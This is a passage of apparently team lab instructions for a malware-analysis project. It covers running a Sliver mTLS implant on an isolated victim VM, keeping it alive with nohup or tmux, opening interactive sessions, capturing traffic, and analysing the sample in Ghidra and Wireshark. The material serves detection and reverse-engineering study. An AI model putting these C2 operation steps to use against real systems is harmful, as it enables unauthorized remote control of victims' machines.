Keep this terminal open and inspect diagnostics. Perform the beacon and session checks in step 14. Once that succeeds, stop the foreground sample with Ctrl+C and choose ONE background option below. Running multiple copies produces multiple beacon registrations and confuses the baseline.

Option A: keep it running after closing SSH, with nohup

```
nohup /home/glab/ghostlock/samples/ghostlock-mtls \
  </dev/null > /home/glab/ghostlock/logs/implant.log 2>&1 &
echo $! > /home/glab/ghostlock/logs/implant.pid
ps -p "$(cat /home/glab/ghostlock/logs/implant.pid)" \
  -o pid,ppid,user,cmd
tail -n 30 /home/glab/ghostlock/logs/implant.log
```

You can now exit SSH and reconnect without stopping the sample. This is an ordinary user process detached from the terminal, with visible logs and a recorded PID. It survives SSH disconnection; it does not start again after a reboot. The PID file does not control the process by itself.

Option B: keep an inspectable terminal with tmux

```
tmux new -s implant
/home/glab/ghostlock/samples/ghostlock-mtls
```

Detach with Ctrl+B, release, then D. Reattach with tmux attach -t implant. Stop the foreground process inside tmux with Ctrl+C. This also survives an SSH disconnect, but not a VM reboot. For the reproducible baseline, neither option needs root or boot persistence.

Stop a nohup run

```
ps -p "$(cat ~/ghostlock/logs/implant.pid)" -o pid,user,cmd
kill "$(cat ~/ghostlock/logs/implant.pid)"
rm ~/ghostlock/logs/implant.pid
```

Verify the displayed process is your sample before killing it: a stale PID may have been reused. If you chose tmux instead, stop that process in its own tmux terminal. After stopping either run, check that Sliver's last-check-in timestamp stops advancing. A historical beacon entry may remain in the C2 database.

14. Verify a beacon and a real interactive session

In SLIVER, run:

```
beacons
```

Expect a row identifying ghostlock-victim, the glab user, the correct Linux architecture, transport mtls, and remote address 192.168.56.20. Inspect Last Check-In more than once and confirm it updates. A stored row by itself is not proof the process is still live. Newly executed sample processes receive new beacon IDs; select the currently checking-in one.

Use the actual beacon ID from that output; do not paste the placeholder literally:

```
use BEACON_ID
pwd
```

pwd is a simple task whose result should return after a check-in. Now ask this beacon to open an interactive session:

```
interactive
```

Wait for the session notification, typically after the next check-in. If the UI selects it automatically, use background to return to the main console, then inspect sessions:

```
background
sessions
```

Select the newly reported session ID:

```
use SESSION_ID
getpid
pwd
```

Confirm the session belongs to ghostlock-victim and that commands return. This satisfies both the periodic-beacon requirement and the explicit successful-session check. An empty sessions table before interactive is expected for a beacon-only run.

When done with the selected interactive session:

```
close
```

In 1.7.9, close closes that interactive session without terminating the beacon process; check-ins continue. background merely deselects a target and does not close its connection. Close the interactive session before capturing a beacon-only timing baseline, since interactive traffic adds a different pattern.

Let a beacon-only capture run for at least 60 seconds, then stop tcpdump with Ctrl+C. On the machine that captured it, make the file easy for glab to open:

```
sudo chown glab:glab ~/ghostlock/captures/run01.pcap
```

Use run01-c2.pcap instead if you used the fallback. From ANALYST, retrieve a C2 fallback capture with:

```
scp glab@192.168.56.10:ghostlock/captures/run01-c2.pcap \
  ~/ghostlock/captures/
```

This is guest-to-guest SSH, so verify C2's host key again from analyst and enter C2's glab password unless you separately installed an analyst SSH public key on C2. Host-side SSH aliases and keys do not carry into Kali.

15. Put the identical sample on analyst and begin analysis

On ANALYST, download the same served bytes:

```
cd ~/ghostlock/samples
curl -f --output ghostlock-mtls \
  http://192.168.56.10:8000/ghostlock-mtls
curl -f --output SHA256SUMS \
  http://192.168.56.10:8000/SHA256SUMS
sha256sum -c SHA256SUMS
chmod 600 ghostlock-mtls
file ghostlock-mtls
readelf -h ghostlock-mtls
readelf -S ghostlock-mtls | less
strings -a ghostlock-mtls | less
```

The analyst copy starts without execute permission so ordinary inspection does not launch a second implant. Hashes on C2, victim, and analyst must agree. Keep this original unchanged and use copies for modifications. An intentionally executed dynamic-analysis copy on analyst will produce an analyst-origin beacon; label that experiment explicitly.

For Ghidra, launch ghidra from Kali's desktop terminal, create a non-shared project under ~/ghostlock, import the ELF, and accept auto-analysis. The ELF identifies its CPU architecture; static analysis can inspect a foreign

architecture. Use the Symbols and Functions views plus strings to orient yourself before exploring the large Go runtime. The debug build is intended to preserve useful names and DWARF information; confirm what is actually present with readelf rather than assuming every symbol appears as source-level code.

Open the completed PCAP in ordinary-user Wireshark:

```
wireshark ~/ghostlock/captures/run01.pcap
```

Use the actual fallback filename if needed. A useful Wireshark display filter is:

```
ip.addr == 192.168.56.20 && tcp.port == 8888
```

If Wireshark does not identify the nonstandard port as TLS, select a packet and use Analyze > Decode As > TLS for TCP port 8888. A capture filter such as tcp port 8888 is different syntax from the display filter tcp.port == 8888.

For a quick command-line timeline:

```
tshark -r ~/ghostlock/captures/run01.pcap \
  -Y 'tcp.port == 8888' -T fields \
  -e frame.time_relative -e ip.src -e ip.dst \
  -e tcp.stream -e frame.len
```

mTLS encrypts Sliver's application messages. You can still examine direction, timing, TCP flows, record sizes, and visible TLS negotiation metadata. A debug implant does not make the capture plaintext. With modern TLS, server private keys alone generally do not decrypt captures using forward secrecy. Session-key logging or instrumentation, if a later experiment requires decryption, must be a separately documented change. Model check-in timing at the exchange/flow level; individual TCP packets include ACKs, retransmissions, handshakes, and task responses, not just beacon events.

While NAT is still available during preparation, optionally obtain the exact matching source on ANALYST:

```
git clone --depth 1 --branch v1.7.9 \
  https://github.com/BishopFox/sliver.git \
  ~/ghostlock/sliver-source
git -C ~/ghostlock/sliver-source rev-parse HEAD
```

Record the commit. If you already disconnected NAT, stop the sample, reconnect NAT temporarily for the clone, then disconnect it again before running the next experiment. The source tree's implant/sliver/transports, protobuf, server/c2, and client/command directories are useful starting points. Matching a source tag is important for protocol and certificate behavior. An independently implemented client must still satisfy the protocol and mutual authentication; simple encrypted-traffic replay is not a substitute for that.

16. Freeze a shared baseline and split into challenge development

Create repeatable snapshots through VirtualBox's Snapshots view: shut down each guest, select the VM, open Snapshots, click Take, and give it a clear name and description. A running VM snapshot is possible, but powered-off snapshots avoid preserving stale process and connection state.

Recommended checkpoints:

Snapshot name	Contents
00-clean-network-ssh	Optional earlier checkpoint from step 9: updated OS, fixed lab IPs, tools, and working SSH before Sliver/sample setup
01-ghostlock-baseline	Sliver 1.7.9 and its C2 state, matching sample and hash, analyst tools/source, NAT disconnected; all VMs powered off

Verify a beacon and session once before taking the final baseline snapshot, stop the sample and capture, shut down all guests, and snapshot the set. After a restore, restart Sliver, its listener, the temporary HTTP server if

needed, and the sample explicitly. Check time and connectivity again. Capture files and notes needed outside a rollback must be copied out before restoring a snapshot, since restoring can discard later disk changes.

Each person should record: host OS/CPU, VirtualBox version, ISO filenames/checksums, update date, guest OS/kernel/architecture, installed tool versions, network name and interface MAC-to-name mapping, Sliver tag/commit, exact generation command, sample SHA-256, snapshot names, run ID, and UTC timestamps. On each guest, a useful package manifest is:

```
dpkg-query -W -f='${binary:Package}\t${Version}\n' \
  > ~/ghostlock/notes/packages.tsv
uname -a > ~/ghostlock/notes/kernel.txt
```

Treat the C2 state and generated samples as lab material: they contain the identities used by your experiment. A separately regenerated sample will normally have a different hash and credentials. Sharing source and version numbers standardizes independent labs; sharing an exact sample requires its matching C2 state or access to the original C2.

The baseline supports these starting points without installing track-specific components into every VM:

Development track	Starting environment and useful evidence
Live network detection	Analyst lab NIC after visibility test, or capture/detector on C2; labeled benign and beacon-only captures
Reverse engineering	Exact hashed sample on analyst, debug symbols, matching Sliver source tag
Implant impersonation	Matching transport/protobuf source and known C2 state; document protocol and identity assumptions
Scripted adversary adaptation	Versioned scripts and explicit changes to one build/tasking variable per run; use a Python virtual environment for added dependencies
Spoiling experiments	Begin with recorded traffic and baseline behavior; add a separately documented routed/inline topology when packet modification or dropping is required

The analyst is a passive peer in this baseline. Promiscuous mode provides observation where supported; it does not make packet modification on analyst affect C2-victim unicast. For inline work, use a separate topology with an intentional gateway/bridge path and verify that packets traverse it. Keep the original snapshot for comparisons.

Per-person labs versus one genuinely shared runtime

These instructions make equivalent local labs on separate laptops. Host-only .10 on one laptop is not reachable as the other laptop's .10; it is a separate virtual network. For one shared running lab, put all three VMs on one team host and provide an authorized VPN plus an SSH jump host that can reach its host-only subnet. For example, after the host owner provisions that access, a teammate can use ssh -J YOUR_HOST_ACCOUNT@TEAM_HOST_VPN_ADDRESS glab@192.168.56.10. SCP supports -J as well. Substitute real account and VPN host values.

Give teammates individual SSH keys/accounts for shared administration. Coordinate ownership of the initial Sliver console. For simultaneous operators, use Sliver's documented multi-player mode with individual operator profiles and a matching client version. Do not solve remote access by bridging the victim onto a campus/home LAN or by publicly forwarding the Sliver listener/operator ports. Team-wide binary parity across Apple Silicon and x86 is simplest with a common remote x86-64 runtime.

17. Troubleshooting by symptom

Symptom	Checks and correction
VM will not boot or says unsupported CPU	Match guest ISO to host architecture; check VT-x/AMD-V on x86 hosts and EFI/default ARM settings. VirtualBox does not translate amd64 guests to ARM.
Linux host reports missing vboxdrv	Install headers matching the running kernel; rebuild the installed package's modules and complete Secure Boot enrollment.
All guests show 10.0.2.15	Those are separate NAT addresses. Configure and use .10/.20/.30 on Adapter 2.
Guest can update but cannot ping another guest	Check the shared host-only network object, connected cables, fixed addresses, /24 masks, routes, and subnet conflicts.
SSH connection refused	Start ssh in that guest; verify ss -lntp and port 22, then the relevant firewall.
SSH permission denied	Use glab; check the right VM password or matching public key, authorized_keys ownership, and ~/.ssh mode 700 / authorized_keys mode 600. Inspect sudo journalctl -u ssh on the guest.
SSH host key changed after a rebuild	Verify the new fingerprint in the VM console, then remove only the relevant stale entry with ssh-keygen -R 192.168.56.10, using the rebuilt VM's IP. Do not disable host-key checking.
HTTP download fails	Keep the C2 Python server running; verify .10:8000 binding, file path, guest routing, and firewall.
Exec format error	The sample architecture does not match victim. Regenerate for victim's dpkg --print-architecture result.
Permission denied executing sample	Check executable mode, ownership, and whether the directory's filesystem is mounted noexec. Use ~/ghostlock/samples and chmod 700.
No beacon but ping works	Check C2 jobs, listener binding, nc reachability, sample endpoint, victim debug log, clock, and matching C2 certificate state. An old sample may belong to a different C2.
Beacons exist but sessions is empty	Select the live beacon and issue interactive; beacons and sessions are separate lists.
Several victim beacons appear	Check whether foreground, nohup, and tmux copies are running at once. Stop duplicates and select the currently checking-in process.
Build killed or system freezes	Check RAM, swap, disk free space, and OOM logs. Keep this baseline debug/unobfuscated and use one build at a time.
Analyst sees only ARP or its own packets	Verify the actual lab NIC and VirtualBox promiscuous policy. Test .20-to-.10 ICMP visibility. Capture on C2 if host-only mirroring is unsupported.
Traffic looks like TLS, not readable commands	That is expected for mTLS. Use timing/flow analysis or a separately instrumented experiment.
Old beacon row remains after stopping victim	Check-in timestamps stop advancing; stored registrations persist in the database.

For a failed connection, debug in this order: guest addresses/routes, ping, TCP listener reachability, live Sliver job, victim process/log, then TLS/certificate state. This keeps network failures separate from application failures.

18. Completion checklist and official reading

The initial setup is complete when all of these are true:

- Exactly named VMs exist, with 4096 / 2048 / 4096 MiB configured.

- Ubuntu C2/victim and Kali analyst have the intended CPU architecture, installed updates, tools, and recorded versions.
- Every guest reaches the other two over .10/.20/.30, and the host can SSH and SCP into all three.
- NAT is disconnected during sample execution; the lab network remains connected.
- Sliver's mTLS listener runs on 192.168.56.10:8888.
- A five-second, zero-jitter debug sample has the same SHA-256 on C2, victim, and analyst.
- A victim beacon checks in, a simple task completes, and an interactive session has been verified.
- A saved capture contains C2-victim traffic, and analyst can inspect both the binary and PCAP.
- A powered-off, documented baseline snapshot set exists, with preserved C2 state.

Read Sliver's Getting Started first, then the beginner guide, troubleshooting, and multi-player documentation. The old GitHub Getting Started wiki redirects to the documentation site. Use the installed console's --help for the exact pinned release.

- Sliver repository: https://github.com/BishopFox/sliver
- Sliver Getting Started: https://sliver.sh/docs?name=Getting+Started
- Sliver documentation home: https://sliver.sh/docs
- Sliver pinned release: https://github.com/BishopFox/sliver/releases/tag/v1.7.9
- Sliver Troubleshooting: https://sliver.sh/docs?name=Troubleshooting
- Sliver multi-player mode: https://sliver.sh/docs?name=Multi-player+Mode
- VirtualBox installation and ARM limitations: https://docs.oracle.com/en/virtualization/virtualbox/7.2/user/installation.html
- VirtualBox networking and promiscuous policy: https://docs.oracle.com/en/virtualization/virtualbox/7.2/user/networkingdetails.html
- Ubuntu Server downloads: https://ubuntu.com/download/server
- Ubuntu OpenSSH: https://ubuntu.com/server/docs/how-to/security/openssh-server/
- Netplan examples: https://netplan.readthedocs.io/en/stable/examples/
- Kali download: https://www.kali.org/get-kali/
- Kali 2026.3 release announcement: https://www.kali.org/blog/kali-linux-2026-3-release/
- Kali updates: https://www.kali.org/docs/general-use/updating-kali/
- Kali VirtualBox installation: https://www.kali.org/docs/virtualization/install-virtualbox-guest-vm/
- Kali Ghidra package: https://www.kali.org/tools/ghidra/
- Windows OpenSSH setup: https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse
- Wireshark capture guide: https://www.wireshark.org/docs/wsug_html_chunked/ChapterCapture.html

For a run cleanup: stop the victim process, stop the temporary HTTP server with Ctrl+C, stop the capture, and stop the listener using jobs --kill JOB_ID in Sliver when it is no longer needed. Preserve useful evidence before restoring snapshots. Reconnect NAT only for deliberate maintenance with the sample stopped, then disconnect it and revalidate the next experiment.